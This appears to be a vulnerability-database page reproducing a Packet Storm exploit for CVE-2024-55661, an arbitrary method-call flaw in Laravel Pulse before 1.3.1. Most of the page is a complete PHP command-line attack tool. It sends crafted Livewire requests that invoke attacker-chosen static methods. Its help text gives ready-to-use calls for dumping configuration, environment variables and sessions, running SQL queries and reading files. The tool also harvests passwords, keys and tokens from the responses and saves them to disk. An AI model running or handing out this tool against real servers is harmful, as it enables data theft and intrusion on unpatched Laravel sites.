π Laravel Pulse 1.3.1 Arbitrary Code Injection
ποΈΒ 18 Dec 2025Β 00:00:00Reported byΒ Mohammed Idrees Banyamer, indoushkaTypeΒ
Β packetstormπΒ packetstorm.newsπΒ 202Β Views
| Reporter | Title | Published | Views | Family All 19 |
|---|---|---|---|---|
| Laravel Pulse Code Execution | 21 Jan 202500:00 | β | bdu_fstec | |
| CVE-2024-55661 | 13 Dec 202418:17 | β | circl | |
| Laravel Pulse security vulnerabilities | 13 Dec 202400:00 | β | cnnvd | |
| CVE-2024-55661 | 13 Dec 202416:04 | β | cve | |
| CVE-2024-55661 Laravel Pulse Allows Remote Code Execution via Unprotected Query Method | 13 Dec 202416:04 | β | cvelist | |
| Laravel Pulse 1.3.1 - Arbitrary Code Injection | 9 Jun 202500:00 | β | exploitdb | |
| EUVD-2024-3450 | 3 Oct 202520:07 | β | euvd | |
| Laravel Pulse Allows Remote Code Execution via Unprotected Query Method | 13 Dec 202420:35 | β | github | |
| CVE-2024-55661 | 13 Dec 202416:04 | β | mend | |
| CVE-2024-55661 | 13 Dec 202416:15 | β | nvd |
10
=============================================================================================================================================
| # Title : Laravel Pulse 1.3.1 Arbitrary Code Injection |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) |
| # Vendor : https://pulse.laravel.com/ |
=============================================================================================================================================
[+] References : https://packetstorm.news/files/id/200719/ & CVE-2024-55661
[+] Summary :
The vulnerability exists in the RemembersQueries trait within Laravel Pulse, specifically in the remember() method which improperly handles user-controlled callable parameters.
[+] POC :
#!/usr/bin/env php
<?php
/**
* Laravel Pulse < 1.3.1 - Arbitrary Code Injection Exploit (CVE-2024-55661)
* Author: Mohammed Idrees Banyamer (@banyamer_security)
* PHP CLI Version - indoushka
*/
if (php_sapi_name() !== 'cli') {
die("β This script must be run from command line only\n");
}
class LaravelPulseExploit {
private $url;
private $component;
private $method;
private $csrf;
private $key;
private $component_id;
public function __construct($url, $component, $method, $csrf = null, $key = 'exploit', $component_id = 'abcde') {
$this->url = rtrim($url, '/');
$this->component = $component;
$this->method = $method;
$this->csrf = $csrf;
$this->key = $key;
$this->component_id = $component_id;
}
private function buildPayload() {
return [
"type" => "callMethod",
"method" => "remember",
"params" => [$this->method, $this->key],
"id" => $this->component_id,
"name" => $this->component
];
}
public function send() {
$full_url = $this->url . '/livewire/message/' . $this->component;
$payload = $this->buildPayload();
$this->showBanner();
echo "π [INFO] Attack Details:\n";
echo "ββββββββββββββββββββββββββββββββββββββββββββββββββ\n";
echo "π― Target: " . $this->url . "\n";
echo "βοΈ Component: " . $this->component . "\n";
echo "π οΈ Method: " . $this->method . "\n";
echo "π Key: " . $this->key . "\n";
echo "π Component ID: " . $this->component_id . "\n";
echo "ββββββββββββββββββββββββββββββββββββββββββββββββββ\n\n";
echo "π [*] Sending exploit to: " . $full_url . "\n";
$headers = [
"Content-Type: application/json",
"X-Livewire: true",
"Accept: application/json"
];
if ($this->csrf) {
$headers[] = "X-CSRF-TOKEN: " . $this->csrf;
}
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $full_url,
CURLOPT_POST => true,
CURLOPT_HTTPHEADER => $headers,
CURLOPT_POSTFIELDS => json_encode($payload),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 10,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$error = curl_error($ch);
curl_close($ch);
if ($error) {
echo "β [-] Request failed: " . $error . "\n";
exit(1);
}
$this->displayResponse($http_code, $response);
}
private function displayResponse($http_code, $response) {
echo "\nπ [RESULTS] Exploitation Results:\n";
echo "ββββββββββββββββββββββββββββββββββββββββββββββββββ\n";
echo "π‘ Status Code: " . $this->colorizeHttpCode($http_code) . "\n";
if ($http_code == 200) {
$data = json_decode($response, true);
if (json_last_error() === JSON_ERROR_NONE) {
echo "β
JSON decoded successfully\n";
echo "ββββββββββββββββββββββββββββββββββββββββββββββββββ\n";
// Display formatted data
$this->displayFormattedData($data);
// Search for sensitive data
$this->extractSensitiveData($data);
// Save results to file
$this->saveResults($data);
} else {
echo "β Failed to decode JSON\n";
echo "π Raw content:\n" . $response . "\n";
}
} else {
echo "β Unexpected server response\n";
echo "π Content:\n" . $response . "\n";
}
}
private function displayFormattedData($data) {
if (isset($data['effects']['html'])) {
echo "π Retrieved HTML:\n";
echo substr($data['effects']['html'], 0, 500) . "...\n";
}
if (isset($data['data'])) {
echo "πΎ Retrieved Data:\n";
foreach ($data['data'] as $key => $value) {
if (is_string($value) && strlen($value) > 100) {
echo " π {$key}: " . substr($value, 0, 100) . "...\n";
} else {
echo " π {$key}: " . json_encode($value) . "\n";
}
}
}
}
private function extractSensitiveData($data) {
echo "\nπ [SENSITIVE DATA] Searching for sensitive information:\n";
echo "ββββββββββββββββββββββββββββββββββββββββββββββββββ\n";
$sensitive_patterns = [
'password' => '/password|pwd|pass/i',
'key' => '/key|secret|token|api_key/i',
'database' => '/db_|database|mysql|pgsql/i',
'config' => '/config|setting|env/i'
];
$found_data = [];
array_walk_recursive($data, function($value, $key) use (&$found_data, $sensitive_patterns) {
if (is_string($key)) {
foreach ($sensitive_patterns as $type => $pattern) {
if (preg_match($pattern, $key) && !empty($value)) {
$found_data[$type][] = [
'key' => $key,
'value' => substr(strval($value), 0, 200)
];
}
}
}
});
foreach ($found_data as $type => $items) {
echo "β οΈ " . strtoupper($type) . ":\n";
foreach ($items as $item) {
echo " β’ {$item['key']}: {$item['value']}\n";
}
echo "\n";
}
if (empty($found_data)) {
echo "β
No obvious sensitive data found\n";
}
}
private function saveResults($data) {
$filename = 'laravel_pulse_results_' . date('Y-m-d_His') . '.json';
file_put_contents($filename, json_encode($data, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE));
echo "πΎ [SAVED] Results saved to: {$filename}\n";
}
private function colorizeHttpCode($code) {
if ($code >= 200 && $code < 300) {
return "β
{$code}";
} elseif ($code >= 400 && $code < 500) {
return "β οΈ {$code}";
} elseif ($code >= 500) {
return "β {$code}";
} else {
return "π΅ {$code}";
}
}
private function showBanner() {
echo "
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β LARAVEL PULSE EXPLOIT β
β CVE-2024-55661 - PHP CLI β
β Author: indoushka β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ\n\n";
}
}
function showHelp() {
echo "
π USAGE:
ββββββββββββββββββββββββββββββββββββββββββββββββββ
π οΈ Basic Usage:
php laravel_exploit.php -u URL -c COMPONENT -m METHOD
π Required Options:
-u, --url Laravel application URL (e.g., http://example.com)
-c, --component Livewire component name (e.g., pulse.livewire.config-component)
-m, --method Static method to call
π Additional Options:
-k, --key Cache key (default: exploit)
--csrf Optional CSRF token
--id Component ID (default: abcde)
-h, --help Show this help
π― Practical Examples:
php laravel_exploit.php -u http://localhost -c pulse.livewire.config-component -m '\\\Illuminate\\\Support\\\Facades\\\Config::all'
php laravel_exploit.php -u https://target.com -c pulse.livewire.config-component -m '\\\Illuminate\\\Support\\\Facades\\\DB::select' -k db_test
php laravel_exploit.php -u http://app.test -c pulse.livewire.config-component -m '\\\Illuminate\\\Support\\\Facades\\\File::get' --csrf token123
π§ Common Exploitation Methods:
β’ \\Illuminate\\Support\\Facades\\Config::all - Get all configuration
β’ \\Illuminate\\Support\\Facades\\DB::select - Execute SQL queries
β’ \\Illuminate\\Support\\Facades\\File::get - Read files
β’ \\Illuminate\\Support\\Facades\\Env::get - Get environment variables
β’ \\Illuminate\\Support\\Facades\\Session::all - Get session data
β οΈ Note: For ethical use in authorized penetration testing only
\n";
}
function parseArguments() {
$options = getopt("u:c:m:k:h", ["url:", "component:", "method:", "key:", "csrf:", "id:", "help"]);
if (isset($options['h']) || isset($options['help'])) {
showHelp();
exit(0);
}
$missing = [];
if (!isset($options['u']) && !isset($options['url'])) $missing[] = "URL (-u)";
if (!isset($options['c']) && !isset($options['component'])) $missing[] = "Component (-c)";
if (!isset($options['m']) && !isset($options['method'])) $missing[] = "Method (-m)";
if (!empty($missing)) {
echo "β Missing required parameters:\n";
foreach ($missing as $error) {
echo " β’ {$error} is required\n";
}
echo "\n";
showHelp();
exit(1);
}
return [
'url' => $options['u'] ?? $options['url'] ?? null,
'component' => $options['c'] ?? $options['component'] ?? null,
'method' => $options['m'] ?? $options['method'] ?? null,
'key' => $options['k'] ?? $options['key'] ?? 'exploit',
'csrf' => $options['csrf'] ?? null,
'id' => $options['id'] ?? 'abcde'
];
}
// Main execution
try {
$args = parseArguments();
$exploit = new LaravelPulseExploit(
$args['url'],
$args['component'],
$args['method'],
$args['csrf'],
$args['key'],
$args['id']
);
$exploit->send();
} catch (Exception $e) {
echo "β Error: " . $e->getMessage() . "\n";
exit(1);
}
?>
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================Data
Build on a solid foundation withΒ Vulners data
WeΒ provide theΒ essential building blocks forΒ cybersecurity solutions withΒ comprehensive, structured, andΒ constantly updated vulnerability andΒ exploits data
Api
Power your application withΒ Vulners API
The Vulners REST API offers reliable, high-performance access toΒ vulnerabilityΒ intelligence, withΒ 99.9%Β SLAΒ uptime andΒ CDN-backed data delivery forΒ seamlessΒ global access
App
Assess and manage vulnerabilities withΒ VulnersΒ tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
18 Dec 2025 00:00Current
8.3High risk
Vulners AI Score8.3
CVSS 48.7
CVSS 3.18.8
EPSS0.29539
SSVC